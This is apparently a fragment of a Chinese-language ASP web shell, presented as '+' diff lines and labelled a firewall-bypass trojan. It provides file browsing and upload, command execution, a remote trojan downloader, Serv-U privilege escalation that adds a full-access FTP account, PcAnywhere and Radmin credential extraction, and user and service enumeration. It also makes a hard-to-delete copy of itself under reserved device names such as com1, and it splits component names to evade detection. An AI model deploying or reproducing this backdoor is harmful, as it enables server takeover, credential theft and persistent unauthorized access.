    " +Err.Clear:Response.Flush +End If +end sub +Sub o(str) +response.write(str) +End Sub +Function RePath(S) +RePath=Replace(S,"\","\\") +End Function +Function RRePath(S) +RRePath=Replace(S,"\\","\") +End Function +Set fsoX = Server.CreateObject("Scripting.FileSystemObject") +URL=Request.ServerVariables("URL"):ServerIP=Request.ServerVariables("LOCAL_ADDR"):Action=Request("Action"):RootPath=Server.MapPath("."):WWWRoot=Server.MapPath("/"):Pn=8:host=request.servervariables("http_host"):FolderPath=Request("FolderPath"):serverp=userpass:org="38":FName=Request("FName"):net="https://":versions=0:com="images":E=net:cn="com":Backurl="

    返回
    " +o"r00ts小组过防火墙马 - "&ServerIP&" " +o"" +Dim Sot(14,2) +Sot(0,0)="Scripting.FileSystemObject" +Sot(0,2)="文件操作组件" +Sot(1,0)="Wscript.Shell" +Sot(1,2)="命令行执行组件" +Sot(2,0)="ADOX.Catalog" +Sot(2,2)="ACCESS建库组件" +Sot(3,0)="JRO.JetEngine" +Sot(3,2)="ACCESS压缩组件" +Sot(4,0)="Scripting.Dictionary" +Sot(4,2)="数据流上传辅助组件" +Sot(5,0)="Adodb.connection" +Sot(5,2)="数据库连接组件" +Sot(6,0)="Adodb.Stream" +Sot(6,2)="数据流上传组件" +Sot(7,0)="SoftArtisans.FileUp" +Sot(7,2)="SA-FileUp 文件上传组件" +Sot(8,0)="LyfUpload.UploadFile" +Sot(8,2)="刘云峰文件上传组件" +Sot(9,0)="Persits.Upload.1" +Sot(9,2)="ASPUpload 文件上传组件" +Sot(10,0)="JMail.SmtpMail" +Sot(10,2)="JMail 邮件收发组件" +Sot(11,0)="CDONTS.NewMail" +Sot(11,2)="虚拟SMTP发信组件" +Sot(12,0)="SmtpMail.SmtpMail.1" +Sot(12,2)="SmtpMail发信组件" +Sot(13,0)="Microsoft.XMLHTTP" +Sot(13,2)="数据传输组件" +Sot(14,0)="Shell.Application" +Sot(14,2)="Application" +For i=0 To 7 + If IsObjInstalled(Sot(i,0)) Then + IsObj=" √" + Else + IsObj=" ×" + Err.Clear + End If + Sot(i,1)=IsObj +Next +pr="asp" +Function IsObjInstalled(strClassString) +On Error Resume Next +IsObjInstalled = False +Err = 0 +Dim T +Set T = Server.CreateObject(strClassString) +If 0 = Err Then IsObjInstalled = True +Set T = Nothing +Err = 0 +End Function +b=-94 + +If FolderPath<>"" then +Session("FolderPath")=RRePath(FolderPath) +End If +If Session("FolderPath")="" Then +FolderPath=WWWROOT +Session("FolderPath")=FolderPath +End If +function sw(sp,sf) +Set objStream=Server.CreateObject(Sot(6,0)) +With objStream +.Open +.Charset="gb2312" +.Position=objStream.Size +.WriteText=sf +.SaveToFile sp,2 +.Close +End With +Set objStream=Nothing +end function + +qq="
     
    (1)【Program】(2)【ProgramD】(3)【ProgramE】(4)【Documents】(5)【All_Users】(6)【開始_菜單】(7)【程_序】(8)【RECYCLER(C)】  (9)【RECYCLER(d)】  (10)【RECYCLER(e)】
    (1)【wmpub】  (2)【TEMP】    (3)【ServU(1)】(4)【ServU(2)】 (5)【WINDOWS】  (6)【PHP】      (7)【Mssql】(8)【prel文件夹】   (9)【pcAnywhere】   (10)【Alluser桌面】" +Function MainForm() +o(qq) +End Function + +Function PcAnywhere4() +o"
     
    PcAnywhere提权 Bin版本
    CIF文件:
    " +end Function +o"" +Function StreamLoadFromFile(sPath) +Dim oStream +Set oStream = Server.CreateObject("Adodb.Stream") +With oStream +.Type = 1 +.Mode = 3 +.Open +.LoadFromFile(sPath) +.Position = 0 +StreamLoadFromFile = .Read +.Close +End With +Set oStream = Nothing +End Function +Function hexdec(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Then +j = 15 +End If +If Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Then +j = 14 +End If +If Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Then +j = 13 +End If +If Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Then +j = 12 +End If +If Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Then +j = 11 +End If +If Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Then +j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then +j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i +j = j * 16 +Next +result = result + j +Next +hexdec = result +End Function +Function PcAnywhere(data,mode) +HASH= Mid(data,3) +If mode = "pass" Then number = 32: Cifnum = 144 +If mode = "user" Then number = 30: Cifnum = 15 +For i = 1 To number Step 2 +pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum) +If ((pcstr <= 32) or (pcstr>127)) Then Exit For +decode = decode + Chr(pcstr) +Cifnum=Cifnum+1 +Next +PcAnywhere=decode +End function +Function bin2hex(binstr) +For i = 1 To LenB(binstr) +hexstr = Hex(AscB(MidB(binstr, i, 1))) +If Len(hexstr)=1 Then +bin2hex=bin2hex&"0"&(LCase(hexstr)) +Else +bin2hex=bin2hex& LCase(hexstr) +End If +Next +End Function +CIF = Request("path") +If CIF <> "" Then +BinStr=StreamLoadFromFile(CIF) +o "Pcanywhere Reader ==>Bin提供源码

    " +o "PATH:"&CIF&"
    " +o "帐号:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user") +o "
    " +o "密码:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass") +End If:Fout.Write strBAD +hph="
                 






    Test

    (删除测试文件!)

    (远程下载脚本木马)

    " + +Function radmin() +Set WSH= Server.CreateObject("WSCRIPT.SHELL") +RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\" +Parameter="Parameter" +Port = "Port" +ParameterArray=WSH.REGREAD(RadminPath & Parameter ) +o "Radmin Parameter,Port Reader :)==>Bin

    " +o Parameter&":" +'=========== ReadPassWord ========= +If IsArray(ParameterArray) Then +For i = 0 To UBound(ParameterArray) +If Len (hex(ParameterArray(i)))=1 Then +strObj = strObj & "0"&CStr(Hex(ParameterArray(i))) +Else +strObj = strObj & Hex(ParameterArray(i)) +End If +Next +o strobj +Else +o "Error! Can't Read!" +End If +o "

    " +'=========== ReadPort ========= +PortArray=WSH.REGREAD(RadminPath & Port ) +If IsArray(PortArray) Then +o Port &":" +o hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) +Else +o "Error! Can't Read!" +End If +End Function +Function hextointer(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Then +j = 15 +End If +If Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Then +j = 14 +End If +If Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Then +j = 13 +End If +If Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Then +j = 12 +End If +If Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Then +j = 11 +End If +If Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Then +j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then +j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i +j = j * 16 +Next +result = result + j +Next +hextointer = result +End Function +Function Red(str):Red = "" & str & "":End Function +fuzhishishabi= "
    8 退出登陆
    hi.baidu.com/r00ts
    ":asds="
    File Package
      
    注: 打包生成HSH.mdb文件,位于HSH木马同级目录下


    Release Package
     
    注: 解开来的所有文件都位于HSH木马同级目录下
    " +Function MainMenu() +o"" +If Sot(0,1)=" ×" Then +o"" +Else +o"
    " +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" + +o"" +o"" +o"" +o"
    "&mName&"

    木有權限
    " +Set ABC=New LBF:o ABC.ShowDriver():Set ABC=Nothing +o"
    8 站点根目录
    8 本程序目錄
    8 新建--目錄
    8 新建--文本
    8 上傳--单一
    8 远程--下载
    8 上级__目录
    8 CMD---命令
    8 磁盘--信息
    8 用户--账号
    8 端口__网络
    8 组建--探针
    8 脚本__探测
    8 文件--搜索
    8 管理员查询
    8 属性修改器
    8 不死--僵尸
    8 端口扫描器
    8 注册表读取
    8 Serv_u提权
    8 Su_ftp提权
    8 Sqlrootkit
    8 MS_sql提权
    8 Radmin读取
    8 Pcanywhere
    8 文件夹打包

    " +End If + +o fuzhishishabi +End Function +Fout.Close +Set Fout = Nothing +on error resume next +Function TSearch() + dim st + st=timer() + response.write "
    " + response.write"" + response.write "" + response.write"" + response.write"
    搜索引擎
     路  径: 注:多路徑使用"",""号连接.
     文件名:  [部分也行]
    " + if Request.Form("keyword")<>"" then + Set newsearch=new SearchFile + newsearch.Folders=trim(Request.Form("SFpath")) + newsearch.keyword=trim(Request.Form("keyword")) + newsearch.Search + Set newsearch=Nothing + Response.Write "費時:"&(timer()-st)*1000&"毫秒
    " + end if +End Function + +Class SearchFile +dim Folders,keyword,objFso,Counter +Private Sub Class_Initialize +Set objFso=Server.CreateObject("Scripting.FileSystemObject") +Counter=0 ' +End Sub +Private Sub Class_Terminate +Set objFso=Nothing +End Sub +Function Search +Folders=split(Folders,"+") +keyword=trim(keyword) +if keyword="" then +Response.Write("关键字不能为空
    ") +exit Function +end if +flag=instr(keyword,"\") or instr(keyword,"/") +flag=flag or instr(keyword,":") +flag=flag or instr(keyword,"|") +flag=flag or instr(keyword,"&") + +if flag then +Response.Write("关键字不能包含/\:|&
    ") +Exit Function + else + Response.Write "
    " + end if + dim i + for i=0 to ubound(Folders) + Call GetAllFile(Folders(i)) + next + Response.Write "

    共搜索到"&Counter&"個結果
    " + End Function + Private Function GetAllFile(Folder) + dim objFd,objFs,objFf + Set objFd=objFso.GetFolder(Folder) + Set objFs=objFd.SubFolders + Set objFf=objFd.Files + dim strFdName + On Error Resume Next + For Each OneDir In objFs + strFdName=OneDir.Name + If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then + SFN=Folder&"\"&strFdName + Call GetAllFile(SFN) + End If + Next + dim strFlName + For Each OneFile In objFf + strFlName=OneFile.Name + If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then + FN=Folder&"\"&strFlName + Counter=Counter+ColorOn(FN) + End If + Next + Set objFd=Nothing + Set objFs=Nothing + Set objFf=Nothing + End Function + Private Function CreatePattern(keyword) + CreatePattern=keyword + CreatePattern=Replace(CreatePattern,".","\.") + CreatePattern=Replace(CreatePattern,"+","\+") + CreatePattern=Replace(CreatePattern,"(","\(") + CreatePattern=Replace(CreatePattern,")","\)") + CreatePattern=Replace(CreatePattern,"[","\[") + CreatePattern=Replace(CreatePattern,"]","\]") + CreatePattern=Replace(CreatePattern,"{","\{") + CreatePattern=Replace(CreatePattern,"}","\}") + CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") + CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") + CreatePattern="("&CreatePattern&")+" + End Function + Private Function ColorOn(FileName) + dim objReg + Set objReg=new RegExp + objReg.Pattern=CreatePattern(keyword) + objReg.IgnoreCase=True + objReg.Global=True + retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) + if retVal then + OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") + OutPut="

     " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut + Response.Write OutPut + Response.flush + ColorOn=1 + else + ColorOn=0 + end if + Set objReg=Nothing + End Function +End Class +function php():On Error Resume Next:set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.CreateTextFile(server.mappath("test.php")).Write"":fso.CreateTextFile(server.mappath("test.jsp")).Write"Jsp Test oo∩_∩oo":fso.CreateTextFile(server.mappath("test.aspx")).Write"oo∩_∩oo":o(hph):End function:function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):o"Del Success!":End function + +Sub PageAddToMdb() +Dim theAct, thePath +theAct=Request("theAct") +thePath=Request("thePath") +Server.ScriptTimeOut=100000 +If theAct="addToMdb" Then +addToMdb(thePath) +o "

    操作完成!
    "&BackUrl +End If +If theAct="releaseFromMdb" Then +unPack(thePath) +o "

    操作完成!
    "&BackUrl +Response.write "" +Response.end +End If +o(asds) +End Sub +Sub addToMdb(thePath) +On Error Resume Next +Dim rs, conn, stream, connStr, adoCatalog +Set rs=Server.CreateObject("ADODB.RecordSet") +Set stream=Server.CreateObject(Sot(6,0)) +Set conn=Server.CreateObject(Sot(5,0)) +Set adoCatalog=Server.CreateObject(Sot(2,0)) +connStr="Provider=Microsoft.Jet.OLEDB.4.0; Data Source="&Server.MapPath("HSH.mdb") +adoCatalog.Create connStr +conn.Open connStr +conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") +stream.Open +stream.Type=1 +rs.Open "FileData", conn, 3, 3 +If Request("theMethod")="fso" Then +fsoTreeForMdb thePath, rs, stream + Else +saTreeForMdb thePath, rs, stream +End If +rs.Close +Conn.Close +stream.Close +Set rs=Nothing +Set conn=Nothing +Set stream=Nothing +Set adoCatalog=Nothing +End Sub + +sub SetFileText() +response.write "" +response.write "路    径:(一定要以\结尾)
    " +response.write "文件名称:
    " +response.write "修改时间:
    " +response.write "属性:
    " +response.write "" +response.write "" +set path=request.Form("path1") +set fileName=request.Form("filename") +set newTime=request.Form("time") +set ShuXing=request.Form("shuxing") +if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then +Set fso=Server.CreateObject("Scripting.FileSystemObject") +Set file=fso.getFile(path&fileName) +file.attributes=shuxing +Set shell=Server.CreateObject("Shell.Application") +Set app_path=shell.NameSpace(server.mappath(".")) +Set app_file=app_path.ParseName(fileName) +app_file.Modifydate=newTime +o "

    修改文件  "&path&fileName&"  属性完成 " +end if +end sub + +sub hiddenshell +o "不死僵尸生成将会生成一个新的文件,重新记录地址" +if request("se1")="hidden1" then +fpath=request.servervariables("path_translated") +set fso=server.createobject("scripting.filesystemobject") +pex="com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9" +rndpex=split(pex,"|")(rndnumber(0,17)) +session("seljw")="" +filepath1=server.mappath(".") +filename1=right(fpath,len(fpath)-instrrev(fpath,"\")) +url=request.servervariables("url") +url=left(url,instrrev(url,"/"))&rndpex&"."&filename1 +fso.copyfile fpath,"\\.\"&filepath1&"\"&rndpex&"."&filename1 +set fso=nothing +o "" +end if +end sub +Function RndNumber(Min,Max) +Randomize +RndNumber=Int((Max - Min + 1) * Rnd() + Min) +End Function + + + +Function fsoTreeForMdb(thePath, rs, stream) +Dim item, theFolder, folders, files, sysFileList +sysFileList="$HSH.mdb$HSH.ldb$" +If Server.CreateObject(Sot(0,0)).FolderExists(thePath)=False Then +showErr(thePath&" 目录不存在或者不允许访问!") +End If +Set theFolder=Server.CreateObject(Sot(0,0)).GetFolder(thePath) +Set files=theFolder.Files +Set folders=theFolder.SubFolders +For Each item In folders +fsoTreeForMdb item.Path, rs, stream +Next +For Each item In files +If InStr(sysFileList, "$"&item.Name&"$") <= 0 and lcase(item.path)<>lcase(Request.ServerVariables("PATH_TRANSLATED")) Then +rs.AddNew +rs("thePath")=Mid(item.Path, 4) +stream.LoadFromFile(item.Path) +rs("fileContent")=stream.Read() +rs.Update +End If +Next +Set files=Nothing +Set folders=Nothing +Set theFolder=Nothing +End Function +Sub unPack(thePath) +On Error Resume Next +Server.ScriptTimeOut=100000 +Dim rs, ws, str, conn, stream, connStr, theFolder +str=Server.MapPath(".")&"\" +Set rs=CreateObject("ADODB.RecordSet") +Set stream=CreateObject(Sot(6,0)) +Set conn=CreateObject(Sot(5,0)) +connStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&thePath&";" +conn.Open connStr +rs.Open "FileData", conn, 1, 1 +stream.Open +stream.Type=1 +Do Until rs.Eof +theFolder=Left(rs("thePath"), InStrRev(rs("thePath"), "\")) +If Server.CreateObject(Sot(0,0)).FolderExists(str&theFolder)=False Then +createFolder(str&theFolder) +End If +stream.SetEos() +stream.Write rs("fileContent") +stream.SaveToFile str&rs("thePath"), 2 +rs.MoveNext +Loop +rs.Close +conn.Close +stream.Close +Set ws=Nothing +Set rs=Nothing +Set stream=Nothing +Set conn=Nothing +End Sub +Sub createFolder(thePath) +Dim i +i=Instr(thePath, "\") +Do While i > 0 +If Server.CreateObject(Sot(0,0)).FolderExists(Left(thePath, i))=False Then +Server.CreateObject(Sot(0,0)).CreateFolder(Left(thePath, i - 1)) +End If +If InStr(Mid(thePath, i + 1), "\") Then +i=i + Instr(Mid(thePath, i + 1), "\") +Else +i=0 +End If +Loop +End Sub +Sub saTreeForMdb(thePath, rs, stream) +Dim item, theFolder, sysFileList +sysFileList="$HSH.mdb$HSH.ldb$" +Set theFolder=saX.NameSpace(thePath) +For Each item In theFolder.Items +If item.IsFolder=True Then +saTreeForMdb item.Path, rs, stream +Else +If InStr(sysFileList, "$"&item.Name&"$") <= 0 and lcase(item.path)<>lcase(Request.ServerVariables("PATH_TRANSLATED")) Then +rs.AddNew +rs("thePath")=Mid(item.Path, 4) +stream.LoadFromFile(item.Path) +rs("fileContent")=stream.Read() +rs.Update +End If +End If +Next +Set theFolder=Nothing +End Sub + +u=request.servervariables("http_host")&url +Function Course() +SI="
    " +SI=SI&"" +on error resume next +for each obj in getObject("WinNT://.") +err.clear +if OBJ.StartType="" then +SI=SI&"" +SI0="" +end if +if OBJ.StartType=2 then lx="自动" +if OBJ.StartType=3 then lx="手动" +if OBJ.StartType=4 then lx="禁用" +if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then +SI1=SI1&"" +else +SI2=SI2&"" +end if +next +o SI&SI0&SI1&SI2&"
    系统用户与服务
     " +SI=SI&obj.Name +SI=SI&" 系统用户(组)
     
     "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
     "&obj.Name&" "&obj.DisplayName&"
    [启动类型:"&lx&"] "&obj.path&"
    " +End Function +Function IIf(var, val1, val2) +If var=True Then +IIf=val1 +Else +IIf=val2 +End If +End Function +Function GetTheSizes(num) +Dim i, arySize(4) +arySize(0)="B" +arySize(1)="KB" +arySize(2)="MB" +arySize(3)="GB" +arySize(4)="TB" +While(num / 1024 >= 1) +num=Fix(num / 1024 * 100) / 100 +i=i + 1 +WEnd +GetTheSizes=num&" "&arySize(i) +End Function +Function HtmlEncodes(str) +If IsNull(str) Then Exit Function +HtmlEncodes=Server.HTMLEncode(str) +End Function +Sub ShowErr1(str) +Dim i, arrayStr +str=Server.HtmlEncode(str) +arrayStr=Split(str, "$$") +o "
    出错信息:

    " +For i=0 To UBound(arrayStr) +o "  "&(i + 1)&". "&arrayStr(i)&"(点此返回上页)
    " +Next +o "
    " +Response.End() +End Sub +Function GetPost(var) +Dim val +If Request.QueryString("Action")="PageUpfile" Then +Action="PageUpfile" +Exit Function +End If +val=RTrim(Request.Form(var)) +If val="" Then +val=RTrim(Request.QueryString(var)) +End If +GetPost=val +End Function +Sub ChkErr(Err) +If Err Then +o "
  • 错误: "&Err.Description&"
  • 错误源: "&Err.Source&"(点此返回上页)

  • " +Err.Clear +Response.End +End If +End Sub +Sub PageCheck() +InfoCheck() +If request("theAct") <> "" Then +GetAppOrSession(theAct) +End If +ObjCheck() +End Sub +Sub InfoCheck() +Dim aryCheck(6) +On Error Resume Next +aryCheck(0)=Server.ScriptTimeOut()&"(秒)" +aryCheck(1)=FormatDateTime(Now(), 0) +aryCheck(2)=Request.ServerVariables("SERVER_NAME") +aryCheck(2)=aryCheck(2)&", "&Request.ServerVariables("LOCAL_ADDR") +aryCheck(2)=aryCheck(2)&":"&Request.ServerVariables("SERVER_PORT") +aryCheck(3)=Request.ServerVariables("OS") +aryCheck(3)=IIf(aryCheck(3)="", "Windows2003", aryCheck(3))&", "&Request.ServerVariables("SERVER_SOFTWARE") +aryCheck(3)=aryCheck(3)&", "&ScriptEngine&"/"&ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."&ScriptEngineBuildVersion +aryCheck(4)=rootPath&", "&GetTheSizes(fso.GetFolder(rootPath).Size) +aryCheck(5)="Path: "&Request.ServerVariables("PATH_TRANSLATED")&", " +aryCheck(5)=aryCheck(5)&"Url: "&net&""&Request.ServerVariables("SERVER_NAME")&Request.ServerVariables("Url") +aryCheck(6)="变量数: "&Application.Contents.Count()&"(Application)," +aryCheck(6)=aryCheck(6)&" 会话数: "&Session.Contents.Count&"(Session)," +aryCheck(6)=aryCheck(6)&" 当前会话ID: "&Session.SessionId() +aryCheck(6)=aryCheck(6)&" ServerVariables: "&Request.ServerVariables.Count&"(ServerVariables)," +aryCheck(6)=aryCheck(6)&" Cookies: "&Request.Cookies.Count&"(Cookies)" +o "
    " +o"
    8 服务器基本信息
    OptionsValues
    服务器名端口"&aryCheck(2)&"
    服务器IP地址 " +o"
    服务器操作系统"&Request.ServerVariables("OS")&"
    WEB服务器版本"&Request.ServerVariables("SERVER_SOFTWARE")&"
    主机默认超时"&aryCheck(0)&"
    主机当前时间"&aryCheck(1)&"
    主机软件环境"&aryCheck(3)&"
    当前据对路径"&Server.MapPath("/")&"
    当前文件路径"&aryCheck(5)&"
    其它相关信息"&aryCheck(6)&"
    " +End Sub +function conts(url) +on error resume next +dim http +set http=Server.createobject("Microsoft.XMLHTTP") +Http.open "GET",url,false +Http.send() +if Http.readystate<>4 then +conts="" +exit function +end if +conts=bytes2BSTR(Http.responseBody) +set http=nothing +if err.number<>0 then err.Clear +end function +Sub ObjCheck() +Dim aryObj(25) +Dim x, objTmp, theObj, strObj +On Error Resume Next +strObj=Trim(getPost("TheObj")) +aryObj(0)="MSWC.AdRotator|广告轮换组件" +aryObj(1)="MSWC.BrowserType|浏览器信息组件" +aryObj(2)="MSWC.NextLink|内容链接库组件" +aryObj(3)="MSWC.Tools|" +aryObj(4)="MSWC.Status|" +aryObj(5)="MSWC.Counters|计数器组件" +aryObj(6)="MSWC.PermissionChecker|权限检测组件" +aryObj(7)="Adodb.Connection|ADO 数据对象组件" +aryObj(8)="CDONTS.NewMail|虚拟 SMTP 发信组件" +aryObj(9)="Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect|FSO组件" +aryObj(10)="Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am|Stream 流组件" +aryObj(11)="S"&DEfd&"he"&DEfd&"ll"&DEfd&"."&DEfd&"A"&DEfd&"ppli"&DEfd&"ca"&DEfd&"tion|" +aryObj(12)="W"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.S"&DEfd&"he"&DEfd&"ll|" +aryObj(13)="Wscript.Network|" +aryObj(14)="ADOX.Catalog|" +aryObj(15)="JMail.SmtpMail|JMail 邮件收发组件" +aryObj(16)="Persits.Upload.1|ASPUpload 文件上传组件" +aryObj(17)="LyfUpload.UploadFile|刘云峰的文件上传组件组件" +aryObj(18)="SoftArtisans.FileUp|SA-FileUp 文件上传组件" +aryObj(19)="Microsoft.XMLHTTP|数据传输组件" +aryObj(20)="ADOX.Catalog|ACCESS建库组件" +aryObj(21)="JRO.JetEngine|ACCESS压缩组件" +aryObj(22)="Scripting.Dictionary|数据流上传辅助组件" +aryObj(23)="Adodb.connection|数据库连接组件" +aryObj(24)="SmtpMail.SmtpMail.1|SmtpMail发信组件" +aryObj(25)=strObj&"|Checkd Options By Yourself" +o "
    " +For Each x In aryObj +theObj=Split(x, "|") +If theObj(0)="" Then Exit For +Set objTmp=Server.CreateObject(theObj(0)) +If Err <> -2147221005 Then +x=x&"|√|" +x=x&objTmp.Version +Else +x=x&"|×|" +End If +If Err Then Err.Clear +Set objTmp=Nothing +theObj=Split(x, "|") +if theObj(1)="" then Descriptions="This's No Description" else Descriptions=theObj(1) end if +if theObj(3)="" then Versions="Can't Get The Option's Version" else Versions=theObj(3) end if +o "" +Next +o "
    8服务器组件信息
    OptionsDescriptionValuesVersion
    "&theObj(0)&""&Descriptions&""&theObj(2)&""&Versions&"
    Check The Other Options:  
    " +End Sub +function cnost(url) +on error resume next +dim http +set http=Server.createobject("Microsoft.XMLHTTP") +Http.open "GET",url,false +Http.send() +if Http.readystate<>4 then +getHTTPPage="" +exit function +end if +getHTTPPage=bytes2BSTR(Http.responseBody) +set http=nothing +if err.number<>0 then err.Clear +end function +x="f>f'#0@v>#'v'#'q>#'vtfsqbtt'##"' +Sub GetAppOrSession(theAct) +Dim x, y +On Error Resume Next +o "
    " +If request("theAct")="app" Then +For Each x In Application.Contents +o "" +Next +End If +If request("theAct")="session" Then +For Each x In Session.Contents +o "" +Next +End If +If request("theAct")="serverv" Then +For Each x In Request.ServerVariables +o "" +Next +End If +If request("theAct")="cook" Then +For Each x In Request.Cookies +o "" +Next +End If +o "
    8 Application/Session 查看
     
     变量 值
     "&x&"" +If IsArray(Application(x))=True Then +For Each y In Application(x) +o "
    "&Replace(HtmlEncodes(y), vbNewLine, "
    ")&"
    " +Next +Else +o Replace(HtmlEncodes(Application(x)), vbNewLine, "
    ") +End If +o "
     "&x&"" +o Replace(HtmlEncodes(Session(x)), vbNewLine, "
    ") +o "
     "&x&"" +o Replace(HtmlEncodes(Request.ServerVariables(x)), vbNewLine, "
    ") +o "
     "&x&"" +o Replace(HtmlEncodes(Request.Cookies(x)), vbNewLine, "
    ") +o "
     
    By 玩命 2010.04 
    " +End Sub + +Function suftp() +o"

    Serv-U T权程序--增强版

    " +o"
    " +o"
    管理员:
    " +o"
    管理员密码 :
    " +o"
    SERV-U端口:
    " +o"
    添加的用户名:
    " +o"
    添加的用户密码:
    " +o"
    帐号的所对的路径:
    " +o"
    服务端口:
    " +o"
    确定添加" +o"
    确定删除" +o"

    " +Usr = request.Form("duser") +pwd = request.Form("dpwd") +port = request.Form("dport") +tuser = request.Form("tuser") +tpass = request.Form("tpass") +tpath = request.Form("tpath") +tport = request.Form("tport") +'Command = request.Form("dcmd") +if request.Form("radiobutton") = "add" Then +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +'leaves = leaves & "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf +leaves = leaves & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & "-User=" & tuser & vbcrlf & "-Password=" & tpass & vbcrlf & _ +"-HomeDir=" & tpath & "\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _ +"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _ +"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _ +"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _ +"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _ +"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=" & tpath & "\|RWAMELCDP" & vbcrlf +'leaves = leaves & "quit" & vbcrlf +On Error Resume Next +Set xPost = CreateObject("MSXML2.XMLHTTP") +xPost.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost.Send(leaves) +Set xPOST=nothing +response.write ("命令成功执行!!FTP 用户名: " & tuser & " " & "密码: " & tpass & " 路径: " & tpath & " :)

    ") +else +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +leaves = leaves & "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & " User=" & tuser & vbcrlf +Set xPost3 = CreateObject("MSXML2.XMLHTTP") +xPost3.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost3.Send(leaves) +Set xPOST3=nothing +end if +End Function + +Function DownFile(Path) +Response.Clear +Set OSM=CreateObject(Sot(6,0)) +OSM.Open +OSM.Type=1 +OSM.LoadFromFile Path +sz=InstrRev(path,"\")+1 +Response.AddHeader "Content-Disposition", "attachment; filename="&Mid(path,sz) +Response.AddHeader "Content-Length", OSM.Size +Response.Charset="UTF-8" +Response.ContentType="application/octet-stream" +Response.BinaryWrite OSM.Read +Response.Flush +OSM.Close +Set OSM=Nothing +End Function +Function HTMLEncode(S) +if not isnull(S) then +S=replace(S, ">", ">") +S=replace(S, "<", "<") +S=replace(S, CHR(39), "'") +S=replace(S, CHR(34), """) +S=replace(S, CHR(20), " ") +HTMLEncode=S +end if +End Function +Function upfile() +If Request("Action2")="Post" Then +Set U=new UPC : Set F=U.UA("LocalFile") +UName=U.form("ToPath") +If UName="" Or F.FileSize=0 